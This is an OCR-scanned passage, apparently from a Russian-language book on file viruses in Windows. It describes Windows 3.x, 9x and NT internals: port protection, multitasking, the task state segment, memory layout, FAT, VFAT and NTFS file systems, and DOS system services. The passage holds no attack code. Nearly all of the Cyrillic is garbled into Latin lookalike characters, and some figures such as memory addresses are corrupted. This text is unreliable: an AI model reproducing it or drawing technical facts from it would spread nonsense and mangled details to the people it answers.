ni.vt n o T e im n a jib i io  «onacnbiM» n o p T a M .

1 0 6 m 'ih o  b  <j)aftjiax W in386.SW P fljw  Windows 9X h  Pagefile.SYSjuia Windows 
NT, x o t h  H e p e f lK O  b  K a n e c T B e  (jiaftjia « n o a K a ' iK i i»  B U C T y n a e T  h c a M  r ip o r p a M M -  

ii h h  4>afui.
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B KapTe BBoaa-Bbreoaa Windows NT no yMojiqanmo HeT o6ny/ieHnwx 

6htob . Bojiee Toro, KapTa BBo^a-BbiBo/ia iicKyccTBeHHO pacnojioaceHa 
b <>h en p a bh j!l>h o m »  MecTe, TaK hto MCKJnoHeHiie ODh npoHcxoairr b jhooom 
cjiynae, He3aBHCHMo ot ee coiiepacHMoro. CHCTeMHbift o6pa6oTHHK hckjiio- 
HeHiiH 4^onycKaeT» k nopTaM TojibKo BiipTyajibHbie apaiiBepbi c CPL=0. 
Otk33 b nocTyne k  nopTaM conpoBoayiaeTcsi aBapHimbiM 3aBepmemieM 
Windows-npHJioaceniiH, a DOS-npH.iioaceHiw npoaojmaioT pa6oTy TaK, 
CjIobho bmccto KOMaHa «IN /O U T» BbinojiHHJiacb oobiHHaH «N O P».

JlroSonbiTHO, h to  ycTaiioB.’ieHHbiii b ciicTeMe BiipTyajibH biH  /ipaihiep, 

n o j iy ia r o n u i i i  ynpaB/ieHwe b  pe3_yjibTaTe nonbiTKii o6paiueHHH k  «3 a - 

n pem eH H 0 M y »  n opTy, MoaceT He cooTBeTOTBOBaTb hhk3kom v peajibHOMV 

y cTp o iicT B y . TaK , H a n p H M e p ,  pa3pa6oTaHHHii b  M ic ro s o ft ,  ho H e  bkjiio- 

HeHHbiii b  ziHCTpHoyriiBbi MS W in d o w s  3X/9X ap a iiB ep  SOUND.DRV 
Mo^e/jfipoBaii pa6oTy OTCVTCTByiomeM 3bvkoboh  KapTbi cpe;rcTBa.Mii ch- 
cTeMiioro flimaMHKa.

4.1.4. MexaHH3Mbi noAqep>KKM MH0r03aflawH0CTM
OnepauiiOHHbie chctcmw KJiacca W indows hbjihiotch mHoro3aaa'iHbimh. 
3 to  03HaHaeT, hto oanoBpe.MeHHo noa hx vnpaBjieHHe.vr MoryT BbinojniHTb- 
ca HecKOJibKO CHCTeMHbix h npHKjia/iiibix n p o r p a M M ,  TaK Ha3biBaeMbix 3a- 
da>t. T a K i i e  CHCTeMHbie pecypcbi, KaK a a p e c H o e  npocTpancTBo h H a 6 o p  BHp- 
TyajibHbix ycTpoiicTB, Bbi/iejwiOTCM onepauiHOHHOH cncTeMoii no# Kaacjtyio 
oTfle.TbHyio 3anany h oSpaayioT b coBOKynnocTii OTflejibHyro BiipTya/ibiiyio 
MauiHHy. B o/ihom aapecnoM npocTpaHCTBe M oryr pasBHBaTbcsi nee.KOJib- 
ko 3a;ian, TaK Ha3biBaeMbix nomotcoe (b  TepMiiHo.Tormi Microsoft -  thread. 
Hutm). B u yrp ii Kaavjoii nporpaMMbi npucyrcTByeT, no KpaiiHeii Mepe, oahh 
noTQK (<r;iaBHbiii>>), ho iix MoaceT owrb n HecKo.ibKO. B 3tom cjiyiac Bee 
noTOKH otihoh nporpaMMbi pa3AeJiiiioT o6mee aapecHoe npocTpaHCTBo, 
a no;inac ^aace h  o/iiih h t o t  >Ke nporpaMMHbiii koji. KoHKypHpyioT ohh 
jiHiub 3a npoueccopHoe BpeMa. HecMOTpn na cyinecTBOBairae MHoronpo- 
ueccopHbix II3BM  n MHoroHziepiibix nponeccopoB, nporpaMMHbix noTOKOB 
Bee paBHO bo mhoto pa3 6o/ibiue, neM apii4)MeTHK0-.T0rHHecKHX ycrpoiicTB. 
O t  pa3ae.TeHHH nponeccopnoro BpeMemi HHKyaa He zieTbOL

B Windows 3X ncno;ib3yeTC5i KoonepammHuu  MexaHH3M pas/ie- 
jieH iw  n p on ecco pn o ro  BpeMeHH m o k jv  noToicaMH. 3 t o  osnanaeT, h to  

KaacabiH noTOK no;iHOCThio 3aHHMaeT npoueccop  (a T aK »e  aocTyniibie  

pecypcbi II3 B M ) no Tex nop, noKa c a M O C T O H 're J ib n o  He coh tc t Hyac- 

hhm  OTnaTb ynpaBJieHiie (H anpiiM ep. npn n o M o m n  CHCTeMHoro 3anpoca  

«GetNextEvent») ciicTeMe, KOTopaa riepe/iacT ero KaKOMy-TO ;tpyro.\iy 

noTOKy, naxo/i«m eM yca b roJioBe OHepe/in OKM/iaimsi. flepeKJHOHeHHe
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c noTOKa na noTOK MoaceT ocym ecTB H Tb  h  nojib30B aTejib  n p n  n oM om u  

MbiuiH n .to naacaniM  KJiaBnaTypH oii KOMOHHaumi «Alt+Tab».
B W indow s N T  (Bcer^a) h 9 X  (KpoMe cjiyqan, Kor/ia bbuiojihhiotch 

HecKOJibKO 16-ohtobwx W indows-nporpaM M ) ncnojib3yeTca e u m e c H x io -  

rnfiu MexaHH3M MHoroaaaaqHocTH. OnepamioHHaa cucTeMa BbmejineT 
KaacjjoMy noTOKy Keaum nponeccopnoro BpeMeHH1, no Hcre'ieHHH koto- 
poro npHHyaiiTejibHo nepeaaeT ynpaBJieHHe npyroMy noTOKy, CToameMV 
b OMepeflH OKiiaaHMH. OobiHHQ BbiTecnaioiuaH MHoro3aaaMHocTb uejiH- 
kom h riojiHoc'Tbro 6a3npyeTca Ha o6pa6oTKe TaiiMepHoro npepbiBaHHH 
IRQO, HO Ha HeKOTOpbIX COBpeMeHHbIX M3TepHHCKHX nJiaTaX nOHBHJIHCb 
«ajibTepHaTHBHbie» TaiiMepbi, npe;iHa3Ha'ieHHbie ,w a opraHHaanufi mho- 
roaa/iaMiibix oriepaiiHOHfibix chctcm h <scnnflinne» na /ipyrax IR Q . O ne- 
paiiHOHHhie CHCTeMbi BeTBii W indow s N T  cnocooHbi ncri0Jib30BaTb KaK 
CHCTeMHwii, TaK h a/ibTepnaTHBHbie TaiiMepu.

r i p o u e c c o p b i  i386+ c o a e p jK a T  M e x a H H 3 M ,  c y m e c T B e H H o  o O J ie r q a t o m i iH  

o n e p a m io H H o i i  ciicTeMe nepeKJiioieHHe c 3 a , ia M H  n a  3 a j ia q y :  a n r ia p a T H y f o  

n o f l f le p a c K y  c e m e n m a  cocm osm usi sadauu  (T S S ).  C e r M e H T  coctohhhh 3 a -  

/ ia H H  -  3 t o  ( { ip a rM e H T  n a M H T H  f l J iH H o i i  H e  M e H e e  104 6 a f iT O B ,  o 4 > o p M J ie H -  

H b i i i  b B H f le  O T a e J ib H o ro  c e rM e H T a ,  KOTopbifi c o z ie p x a iT  bcio im c f x ip M a m n o ,  

H e o S x o a i lM V K )  71 JIH B0306H0BJieHHH BbinOJIHCHHH a a / i a ' i i i  n o c j i e  0 6 p a T H 0 - 

r o  n e p e K J i io M e H H H  H a  H e e , a  hmchho c o a e p jK H M o e  p e r H C T p o B ,  n o J io a c e H H e  

c T e K O B  zijih p a 3 H b ix  y p o B i i e i i  n p H B H J ie n i i i ,  c | ) j ia r  T p a c c n p o B K H , 6 i iT O B yK >  

KapTy B B o a a - B b iB o a a  n u p o ’ ie e .  C e j ie K T o p  3 T o r o  c e rM e H T a  xpariwrcH b 

16-6htobom peracTpe TR . B  W indow s 9 X / N T  npeHMymecTBeHHO hc- 
r io j i i j 3 y e T C H  o ^ h h  o o m n i i  T SS  a  .na B c e x  3 a ^ a n , bot H a i i o o j ie e  H H T e p e c H b ie

6HT0Bbie IIOJLH B 3T0M CCTMeHTe:

O  6iiTbi 0 -1 5  -  cchuiKa He upeAbiaymnH TSS;
O  6iiTbi 288-318 -  peracTp <|)JiaroB;
O  6h t  800 -  o u t  TpacciipoBKH;
O  6h tw  816-831 -  nojioaceHHe 6htoboh Kapra BBoaa-BbiBoaa (jijih 

W indow s N T  sto  nojie HMeeT 3HaHemie, yKa3biBaiomee 3a npeaejihi 
T S S ).

4.1.5. PacnpeaejieHiie onepaTMBHoft naM$mi
MHTepecHo n noyniiTejibHO oanaKOMHTbcn c pacnpe/iejieHHe.M naMHTii 
b  pasnbJx BepcHHx W indows: rae pacnojiarafOTcn KOMnoHeHTbi onepaijH- 
ohhoh  CHCTeMbi, Ky/ia 3arpy>KaioTCH npiiKJia/uibie nporpaMMbi ii npoHHM.

1 TraiiMHoe ana^eime -  20 mc, xoth b 3aBHcHMocTH ot Bepcnn onepanHOHnoii 
cucreMM h  ycjioBHil 3anvcKa nporpa.WMH bo.jmovkhli BapiiaintH.
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3 to  p a c n p e a e j ie H H e  y c T a n a B J H iB a e T c a  b  u p o u e c c e  3 a r p y 3 K H  o r ie p a u H o n -

H0H CHCTCMM.
B W indow s 3 .X  p a c n p e / t e j i e m ie  n a M a T H  B b i r a a f lH T  n p o m e  B c e r o .  CHa- 

M a j ia  3 a rp y » c a e T C H  o n e p a i jH O H H a a  c u c T e M a  M S-D O S. IIoc;ie B K J i io H e -  

H H H  K O M n h tO T e p a  C H C T e M H M H  3 a r p y 3 H H K ,  pa3MemeHHbIH b  boot-ceKTope,
CTOTbiBaeT b  naMHTb CucTeM Hbie Monyim  « IO .S Y S » h  ^M SD O S.SYS*, 
KOTopwe, b  c b o k ) o n e p e iib , noarpvjKaioT <<COMMAND.COM?>. /la.nee 
n p n  n o M o m ii  «C O N F IG .S Y S »  h  ^ A U T O E X E C .B A T * y c Ta H a B JiH B a iO T - 

c s  H e o 6x o A H M b ie  H a c T p o H K H  h  3 a n v c K a io TC H  H e o S x o ^ H M b ie  a p a ttB c p b i h  

pe.3H/ieHTHbie n p o rp a M M b i. M  Bee, 3arpv3Ka M S-D O S  H a 3T0M 3a K a H ’jH -  

BaeTca. a W indow s naa,o a a n y c K H T b  n p u H y a H T e jib H o !  floaTOMy n p a M O  

H3 -^AU TO E X E C .B AT^ (h jih  n o ^ b 3 0 B a re jie M  B p y y n y i o )  s a n y c K a e T c a  

crapTOBaa n p o rp a M M a  «W IN .C O M » ,  K o r o p a a , b  c b o io  OMepeflb, m in im a - 
; iH 3 H p y e T  3 a im im e H H b iH  p e * n M , 3 a rp y> K a e T «H O B b ie» n p o rp a M M H b ie  k o m - 

iion eH T b i W indow s h  ne p e zta e T jim  ynpaB .’ie iiH e. Flpn s t o m  « 6 a 3 i ic H a » »

o 6.n a c rb  c f im H 'ie c K o ii  n a M a T H  p a 3 M e p o M  b 1 M 6, cofle p a ca m a a  T a o jm n y  

B e K To p o B  n p e p b iB a H H H , c H C Te M H b ie  oGjia c T H  M S-D O S , p e rH O H b i b h a c o -  

ria M a TH  h  R O M  B IO S , b  W indows 3.X ocTaeTca  H a  npesKHCM  M e c re  h  

a K T H B n o  n c n o y ib 3 y e r c a  rp a c Jjm e c K O H  «n a A C T p o i}K o ii» ,  pacno/iojKeH H ofi 

r ^ e -T O  b  B e p x H H x  aapecax a ^ p e c H o r o  n p o c T p a H C T B a . Bee npiiKJia^Hbie 
n p o rp a M M b i, K a K  0 p ra H H 3 0 B a H H b ie  b  (Jw p M a Te  M S-D O S , T a K H  b  (Jjo p M a Te  

Window's 3.X, < o k h b v t »  b  o ^ h o m  h  t o m  vkc o o m e M  a /ip e cn o M  n p o c T p a H - 

CTBe, x o r a  h  r io J iy M a io T  b  CBoe p a c n o p a a c e H H e  H e n e p e c e K a ro m n e c a  c e r -  

M e H Tb i r ,a e -T o  n o c e p e / u iH e  M eacfly <<6a3ncoM » h  « H a a c T p 0H K 0H » .

B W indows 9X  h N T  pacnpe/ie;ienne naMaTH cjioaoiee. Kaacaaa 3 2 -o h - 

TOBaa npHKJiaaHaa nporpaMMa a^khbct»  b  CBoeM /iiihhom aapecHOM npo- 
CTpaHCTBe. AapecHoe npocTpaHCTBo b  stiix  onepauHomibix cucTeMax 
SOBOKbHO nem o pa3omro Ha abc paBHbie no pa3Mepy oo.nacTH: HioKHne 
2 T6  BM/ie/iaroTca npHfoiaziHOH nporpaMMe, a Bepxmie aflpeca OT/jaHbi ch- 
ctcmhwm KOMnoHeHTaM. CaMue MJiaauiwe aapeca naM^TH (nepBbie 4 K 6 
b W indows 9X  h nepBbie 64  K 6 b  W indows N T )  3anpemeHbi jum  3anHcn. 
ripiiKJiaflHbie nporpaMMbi, co3saHHbie iieoriUTHM M H  nporpaMMHCTaMH 
h o6pamaK>mneca k cbohm nepeMeHHbiM no HenHnnna.iii3npoBaHHbiM 
VKaaaTejiaM, c bhcokoh BepoaTHoCTbio nona/iyr HMeHHO Ha s th  perHonu 
na.MaTH, MTO BbI30BCT HCK/iKJHCHHe H IlOSBOJIHT aBTOpy o6HapyJKHTb H HC- 
npaBHTb ouihSky. Ha stom, co6ctbchho roBopa, Bee cxoactbo b pacnpe/ie- 
JieHHH a/ipecubix np0CTpaHCTB W indows 9X  h N T  3aKaHHHBaeTca, Tenepb 
Ha^HHaioTca pa3^nmia.

W indows 9X  .'saiiycKaeTca b ;jBa 3T a n a :  c H a n a j ia  CHCTeMnbiii 3 a r p y 3 4 H K  

B b in o j i i i a e T  b  t o h h o c t h  T e  >fce a c h c t b h h ,  mto h  npn s a n y c ic e  Window's 3.X,
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a iiMC-imo sarpyacaer h  koikJihi y p u p v e r  .V IS-DOS. Ha am vr axane  moxcho 

npepBa'ib  n p on ecc  aarpyr-tKH n no. iy n iT b  b CBoe paenopH>KeHH(.‘ I K >B \ i. 

p a fioT a iom vR *n oz i vnpaB zie jiiieM  onepanH oH H oH  ciioxeM M  M S -D O S  7.X. 

H o  e c jin  a x o ro  He ae.xaxb. t<» n p o u ecc  aarpyaKH  n p oa o .- ixa eT i’ a: airroMa- 

THMPt.’K if aanycKae.Maa Hporpa.M.va < W I N . C O M *  npexB H pH TC .nH o  Kap- 

/uiHa.sibHO p eo p ra im syeT  o n ep a th w h v io  naMHTb, c ncxe.vfv npc-pbiBaHHH, 

o p ra m is v e x  H eooxozifiM bie A.im 3au .u im eiiiio ro  peacHMa cHcxe.Miibie xa6- 

.iHHU. 3arpyacaeT u naM axb  oaaoBbie KOM iionenxbi Windows h, naK oiieu . 

« c  'H icxoii eoB ecTb io* nepeziaex yn p aB z iem ie  ozihom y m  raicnx KOM iionen- 

t o b  McHe^JKepv B M p rya ib H w x  JviauiHH «V\M M 32.Y fXD>>. IlepeK ziK J ie- 

iiHe n p o n eeco p a  U3 peazibH oro pez-Kima b aa inn iueiiH b iii, Bbiiio.xiu ieM oe 

11UM M cUi’.UKrpf'M  cpaay  noc.xe n o jiyn eH iia  yiipaBzietiH tf. cooxR excxB yex  

iia 'ia . iy  p a o o x w  W in dow  s. B p rs v . ’ibTaTe n epB w e 4 M 6  iia.MHTH ocxaioxcH  

p acn p e4e.neHHU.MH n o 3aK0Ha.M p ea z ib iio ro  p eac im a  (n an p iiM ep , b h h x  n o  

.nu iieiinoM y aa p ecy  OFOOOftli no-npe>KHeM y Moacun o&Hapy>KHTb oop a s  

ROM BIOS), h o  npaKTnnecK ii He n cn o jih sy iO Tca . 3 t 3 naMHXb pasae.xsi- 

excM BceMH B iipxyajibH biM n aapecHbiM H npoorpaHCTBaMH. 3 an vcK aeM oe  

3 2 -p a3 pa flH oe  np ii.w JK eH ffe  W in d o w 's  aa rp y jK a erca  b p e ra o H  axpeixm  
()()4 0 0 0 0 ()h  7 F F F F F F F h . Bbiuie, c a a p eca  HOOOOOOOh, na'iH naioxcH  

<-cncxeMHbie>> oo.xacxii iia.Mfixn:

O  b miJKHioto 'lacxb  /i<> aa p eca  OC.OOOOOOOh n on aaa iox  32- 11 16 -611- 

roBbie o n 6.;m oxeK ii, oToopa^cae.Mbie b na.viaxb 4>aii'ii>i h cJiyace& ibie 

nycj)epbi aapa  on ep an n oH H ofi cncxeM bi;

O  zia.xee, 40 azipeca OFFOOOOOOh paaM em aioTca cHcxe.MHbie cer.Men- 

xbi, xaoziHHbi a ecK p m iT op oB , xao jin u b i c x p a w m  11 r. n.;

O  HaKOHeu. ca.MWe B cpxu ne azipeca oxbozw xch  nozi iicno/m iieM brii 

k o 4 viztpa W in d o w  s n B iipxya/ibHbix apatiBepoB.

BaJKHO, h to  «cn cxeM iia> i!> ooziacxb  iiaM srm . n a 'in n a a  c azipeca 

8(K )0O ()()0h, xo>Ke H BaaeTca oom ei'i azia az ipecuw x n poexp a iicxB  Bcex lip o - 

HeccoB (zieiicTBHTf'zibHo, 3aiie.\i fl.ua Kaacaoro n p o iie cca  coflcpacaTb o t -  

je .ib H b ie  KofiiiH  cricTeMHbfx uno.'jf-foreh' n az ipa? ), a m ie n  K p iiT i i 'ie c ia i 

B a »H b ix  pen -io iion  (n a 'iim a H  c azipeca OCOOOOOOOh) a a w e  n e  .i.nuimu- 

iia o r  aa iin c ii. TaKHM oopaaoM , azipeciib ie  npocxpa iicxB a pasnbix  32-paa- 

pnzuibix .'iaziaM xox>i b och obhom  11 <napa;i.ne.ibiibi>>. xeM lie  M onee HMe- 

K)T «M(-yKTipocXpaH('TBeHHbie X ('flH c;iH > B Ha'ia.lC 11 aMiizn 1 11 Ii ('(> KiiIlHe. 

Kczih b W in d o w s  i )X  rsaiis 'ciauorcj! 1(»-6nTOBi.re upoi paMMbi. op ram i3 0 - 

liam ib ii' b (j;opM aTc W 'iiif lo w s  3 .X . t o  z i i z i  m ix  co.iz iacrca  o-ivtezibnaa p.np- 

iva .ib iiavi Mamwna. i'pi',Li-Twa\iii K oTupoii ' inpv ioxcH  ycziovsiiH ;>xoii 

o ilepan iM 'H U o ii cilfTe.M bl. Bee npoi'jia.MMbl CoH.MecTUO OKHBVT» rzu—! < ■ 

b c 'epea im e o o in c ro  a;i['n-i'Hoi i, npoeipa iicT i.U i. moi-aiHM 'la r rb  Ko'ropoi o
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coaepjKHT MS-DOS, a BepxHHH CHnreMHbrii Koa. Ec.tti ace b Windows 
9X aanycKaioTCH DOS-nporpaMMH. to KaacflaH n:> mix nu.xy'iaex b cBoe 
pacnopHacemie /immno<• aapecnoe npocxpancxBO pasMepo.vr 1 Mo, b ko- 
TopoM cMoae^npoBaHbi Tao.TOUbi BeKTopoB npepbiBaHHH, icoa MS-DOS
7.X. 3arpy>Kae.Mbie /ipaitBepbi n BIOS. 06pasnoM aan MOfle.nupoBamiH 
enyacHT nepBbiit Meraoaiix <j>H3HHecKOH naMHTH KOMribioxepa. IloaxoMv 
ecjiH ii pH cxapxe cucxeMW b K0fi(j)iirypanH0iinbix c|>aii.ia\ «AUTOEXEC. 
BAT» ii ^CONFIG.SYS* sarpvacaioxca b na.viHXb KaKHe-TO pe3*meHXHbie 
nporpaMMbi h  ApaitBepu, xo ohm aBxoMaximecKH iiohbhtch bo B c e x  «cmo- 
a e j n t p o B a H H b ix *  a a p e c H b ix  n p o o T p a H C X B a x  /i.-w Kaacaoii aanyiuenHOH ii.a - 

noa Windows 16-6hxoboh DOS-nporpaMMH.
Windows N T ycxpoena ropaaao ooaee ao rim io  h HaaeacHO. Eii ne xpe- 

oyexcst MS-DOS, bch aarpyaiea B b in ojiH H exo i cpeacxBaMii caMoit onepa- 
U h oh h oh  CHCxeMbi (m oziv jih m h  «N T D ETECT.COM» 11 «N TLD R » n pn  

ynacTHH * BOOT.IN I»). Cpa3y nocae nepBbix 64 K6. c/ivacaiwix ann «ox- 
jioBa* H enpaB iu ibH bix nporpaMM, pacnojiararoTCH ne6o.ibi.ime c.ayace6- 
Hbie oo.xacxH aannbix, eoaepacaiiiHe. H anpiiM ep. xeKcxonbie c tp o k h  oKpy- 
aceHHH. [IpiiKJia/iiibie nporpaMMbi M oryx  aarpvacaTbcn oiiepainioHHoii 
ciiexeMoii yace c aapeca 10000b, x o th  o o m 'h io  p a a M em a io ro i HecKOJib- 
ko Bbiiue. rae-m ioyab b paiione aapecoB 1 OOOOOOOh-aOOOOOOOh1. C av - 
/Keoiibie OHOJinoreKH «acHByT» b aapecnoM iipocxpancxBe Bbirne aapeca 

7000000()h. B nnxepBa.ie 7FFFF0001i--7FFFFFFFh .'sapeaepBiipoBano 

mccto aan eme oaHoro «KanicaHa», anajiorjpinoro xomv. icoxopbiii pa3Me- 
maexca b Ha'ia/ibHbix aapecax na.MHXH. Bbime, c aapeca 80000000b 11a- 
HHHaexca «ciicxeMnaH iio,ioBHHa» naMHTH, rue pacnoaarafoxra Koa kom- 

n0HeHT0B napa Windows, aecKpHiixopiibie raojnm w h raoamibi cxpamm, 
c.iyaceoH bie a a im b ie  onepauHomioH ciicxe.Mbi 11 x. n., npuneM s th  penio- 
iibi npeHMymecxBCHHo aaiuHinenbi ox aoeiyna. Aapeciibie iipocxpancxBa 

Bcex iipiiKJiaaHhix nporpaMM mokho c'lnxaxb noanocxbio «napaaaeabHbi- 
mh», xoth na ca.MOM aeae n m . « 0aHHaK0Bbix» <t>parMeHTOB naMHTH b paa- 
Hbix npocxpaHCTBax nciio.xbayio rcH oaiui h re ace 4)H3H'iecKne expammbi. 
a «.napajijiejibii()cxb>> HCKyccTBeiiHO cosaaexca npn noMomu Mexanna.Ma 

«eopv-on-write» bo BpeMH noribiTKH M02ui4«mHp0BaTb coaepacHMoe o n -  

Horo H3 raKHX npocxpaiicxB. Ee.an b Windows N T 3anycKaiOTCH nporpaM
Mbi b (fiopMaxe MS-DOS h.hi Windows 3X. to cooctbc-hhmx aapecfibix 

iipoerpaHCTB ohh He no.iVMaioi, a vcyiouhh ; i ;ih hx c{>ynKnnonnpoBaHHH

1 l l p a i v n i M e c K i i  b <v  ic<‘MM'>h <'B i i u i k i ! . ' -> 2-6 irroBbix  n p i i K . i a a i i M X  n p o r p a M M  c i i p n -  

cf it> pa:i.\icmaTb a n t nporpa.MMbi n »a a | x v y  iOOOOOh. 11 onepaunom iasi cncreM .i 

pe.iKo oTKa:-tblnaex ll.M.



(Tao/miia BeicropoB  npepbiBaHHH, k o a  MS-DOS 5.0, oo a a cx b  BIOS h 

n p o 'ie e )  HCKVC'CTBeuHO M oa ea H p v ioxc fl b neA pax 3 2 - 6 h x o b o fo  n pou ecca  

-N I'\ DM».

4.1.6. OaiiJiOBbie cucTeMbi
I'lpH  oocy>KaeHHii B on poea  KO M inaoxepHbix Bitpvc'OB b oriepam ioH H bix  

CHCTeMax KJiacca Windows n eooxoA H M o oTM en iT b  c .iea v io u iH e  o o c x o a -  

reJiwxBa.

Windows 3.X rrpa CBoeii paoore onupaexca na 4>an/ioByio cucxeMy Toil 
Bepcmi. MS-DOS, ii3 KOTopoft ona crapTOBaflta. BnponeM, ona yace ne- 
cnocoGna cxapTOBarb c ancKa, cmfxjpMaTHpoBaHHoro b MS-DOS v7.1 no 
npami.xaM FAT32, eti noaaBaft xojibKo FAT 12 nan FAT16.

Windows 9X n p iiB iieca a  H eK oxopb ifl paano6oii. Windows 95 opnen- 
xHpvexca Ha 4>aiijioByio cucxe.viy VFAT, a Windows 98/M H - an6o na 
VFAT. ju i6 o  na FAT32 (n o  ace jiaH ioo  no/ibaoBaxejia , B bm oaH aro iuero  h c- 

xo/uioe cfx ipM axiipoBanne ah ck o b m x  paaae.noB). Pa6oTa :;mix 4>aiiaoBbix 
cncxeM  ocnoBbiBaexcfl na i io h h th h  FAT cneu iia ab H on  xao jin n b i, omicbi- 
Baromett npuHaaJieJKHOCTb a h ck o b m x  K iiacxepoB  to m v  h jih  iih o m v  <|)aii^y. 

JlHifiopManHH o  nepBOM K/iacxepe c^aiiaa BMecxe c HMene.vr (fanaa n ero 
ocHOBHbiMH nojibaoBaTe.iibCKUMH xapaKxepHCTHKaMH (B pew en eM  co3,ia~ 
hhh. arpnoyxa.MH aocxyna n npoMJi.w) xpainrrca b c^aiiaax o c o o o r o  Biuia 

b K axajtorax. Kara/iorn cjjaii.iOBbix cncxeM  VFAT h FAT32 oT iiH ia ioTC fl o t  

cb o h x  o o jie e  panmix a iia jio roB  B03M0JKH0CXb!0 noaaepacH BaTb /iJUiHHbie 

( j o  255 ch m b o jio b ) iiM en a (fjan.xoB u b jio jk cu h m x Kaxa/ioroB, npiiMeM iimh 

MO»ceT coaepacaTb npooeau, xomkh h  Apynie panee ne aonycKaBumeca 
CHMBO.Ibl. J l.ia  COBMCCTllMOCTH C [IpOrpaM MaMH, HaHHCaHHblMH AO B03- 

HHKHOBeiiHH VFA 1 n PAT32, (f>aii.ribi h K araJ ion i 0flH0BpeMeHH0 M o r y r  

HAeHTH(|)HnHpOBaTbCH KaK 110 IIOAHOMV ZVlilHHOMV HMcHH (H anp iiM ep . 

« Example of long naine.TXT» ) .  xaK 11 no «vceHeHHOMv>> Bapaaffry (Ha- 
npHMcp, «.EXAMPL-1.TXT»). XlaunHbie iiMena xpanaxca b aanncax Ka 
Tajio roB  b .iByxoaii i op.c .11 K oanpoB K e I'nicode.

Windows NT npeiiMyiiiecxBetiHo opHeHTnpyt'TCS na (jjaiijioByio cii- 
c reMy NTFS, x o th  na axane vcxan oB K n  onepamioHHoii encxeMbi mo>kho 

('Ae .iaTb  B b ioop  b rio.’ib ay  FAT. Windows NT 4.0 em e ne noAAep/K iiBaaa 

a h c k o b m x  paaae.ioB, (>x(| kipma 1x1 p o b a n h m x noa FAT32 (B iipoH eM . 3 ia  

Boa.MO/KiiocTb D oecn ciH B a .xacb  npn nuM ouui n m p oK o  p a cn p o cx p a H e ii-  

Hbix apaiinepoB o x  cT u p oH in ix  n poH aB oatrrr. leii). ho Bee n o c a e a y io u u ie  

Bepcnn  Windows NT c : i ron  aaaanen  y .i-v  n ipaB .TM .nicb j ie r k o  n n en p ii-  

n y iK aen n u . I I H aooopuT. ij ’a ii.'ioB aa c iu a 'cM a N I T S  nn y M o a 'ia m n o  <siie 

ap y ;K e {.-m en n a? iih a.'ih MS-DOS, mi umi Windows 9X, no rsna.Memi
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Tbie ap a iiB epw  cepm i NTFSDOS b to h  h jih  h h o h  cxeneHH peinaioT 3'ry 
npo6.ne.My.

PaooTa (fiaftjioBbix ciicre.M KJiacca NTFS ocHOBbiBaeTca na iioh hthh  

M e m a tp a m a  -  crpyKTypbi aam ibix, paaMemenHoii b ciieiii-iajibHo Bhrae- 
jienHOM ii sainHineHHOM o t  a o c iy n a  co cTopoHbi iipiiKJiaztHbix nporpaMM  

periiofre acecncoro flMCKa. Bhvtph MeTatjraiiaa xpanaTca onncaTe.nn Bcex  

WicKOBbix iJwhjiob ii icaTajioroB -  i|)aiiJi0 B cnemiaJibHoro Biiaa. coaepaca- 

m iix ccbuiKH Ha a p y n ie  4 > an ™  h KaTajiorn. PaaM ep Kaaiaoro raKoro o m i- 

caTejia 0 6 bWH0  cocraBJiHex 1 K6 (x o th  mojkpt 6brn> yBeanHen 4 0  4 K6), n 

b hcm xpam iTca a iyace6 Hafl' HHcJxjpManHH o tfiaiuie: hmh (b  AByx6 afiT0 B0 H 

KOfliipOBKe U n icod e  h a^ iiH oii ao  255 chm bo.tob). pa3Mep, a a -ra h BpeMa 

coaaam ra, a'rpiioyTbi ao c iy n a  11 nponee. Ecjih 6 w n> ooaee  tomhhm, 3Ta 

uu(})opMaiui>f o^KjpMJiena b Biiae ccmjiok na aoniHecKiie HHc}x)p.ManH0 H- 

Hbie eaHHHUbi -  Tan Ha3biBaeMbie n om on u  (He nvTaTb c iipoipaMMUbiMii 

noTOKa.Mii BHyTpii HcrioJiHaeMbix npoueccoB !). B oHiicaTeae (Jiaiiaa HMe- 
eTca ccbuiKa Ha noTOK. oTBenaiomHfi 3a hmh <}>aHJia: ccbuma na n0T0K, o t -  

BenaioiHHH 3a pasMep <f>aHJia: ccw/iKa na iiotok, oTBehaioiuhh aa aam ibie  

cfjanaa. h  t. n. OnaiMecKH caMii hotok ii MaaeHbKoro paaMepa (aaTa. Bpe
Ma, aanHbie k op otk h x  (JiaiiaoB 11 t. ri.) pasMemaioTca b tom  ace oriHcaTeae 

cfjawaa. rae  h  ccbuiKH Ha hhx, a « 6 oab inn e* h o tok h  (aaHHbie a ju ih h u x  

4>aiiaoB) b o 6 aacTH fliicna, He aanaxofl MeTacfiaiiaoM. MirrepecHo h 

BaacHO, h to  BHyrpii oaH oro  onucaTeaH M oryr xpaiiHTbca VKaaaTCJiH na  

HecKOJibKO n0T0K0B aaHHbix. cbh.'uihhmx c oaHHM h tcm ace <J)a#Ji0M: na- 

npiiMep. B 0 aH 0 M C0aep>KHTCa TCKCT aOKyMCHTa, a B apVTOM ( IS» /ICH!ISC 
0 6  aBTope.

4.1.7. 3anpocu npuiuiaaHbix nporpaMM 
k 0nepai4M0HH0M cwcrreMe
I IpaKTH 'iccKH h h  oaH a npH KaaanaH  nporpaM M a He MoaceT (J>vhkhhohh- 

poBaTb 6e3 (,|>aHJioBoro. DKpaHHoro n K J iaB iiaxypH oro BBoaa-BbiBoaa. 6ea 

p a cn p ea ea eH iia  naMHTH n o a  cboh  H yacaw  h  r iponero . t o  ecTb 6ea cepB iic - 

Hbix c p e a c iB  (h j ih  n p o c T o  cepeucoe), npeaoc.TaBJiaeMhix e i i  co  CTopoHbi 

unepauHOHHoii CHCTeMbi.

4.1.7 .1 . Cucm eM Hbie cepeucw  e M S -D O S

B MS-DOS aocTvrr k cHcieMUbiM cepmicaM 6i>ui peajmaoBan nepea 

upuqmiMiu.K- npepbiBUHiia, uaapiiMep 'u-pes « IX T  2lh->. (,’jieaycT jim( n> 

p. iniay. hto peiiiefirie npo6ae.MH. cBaaannon c tcm hjih hhmm cepBiicoM, 
o6mhho aocTiirajiocb h pesyjibTaxe a uiimoii h<'I'iohkh BHyrpeHiiHX m>i;u*-

204 ❖ cpaiMoBbie Bupycbi b Windows____________________________



CucreMa opraHi/oaum/i Windows ❖ 205

bob npoueayp, pacnfwiojKeHHHx na pa3iibix apxirreicrypHbix vpoBnax one- 
pamionHoii cnc reMbi. H aii6o,iee /ymimbiMU u nojie.sHbiMH jx m  HayHemia 

3th uenoHKH obi/ni b tom cjiynae. icor/ia c’epBHCHbifi aanpoc no;tpa3yMeBa,i 
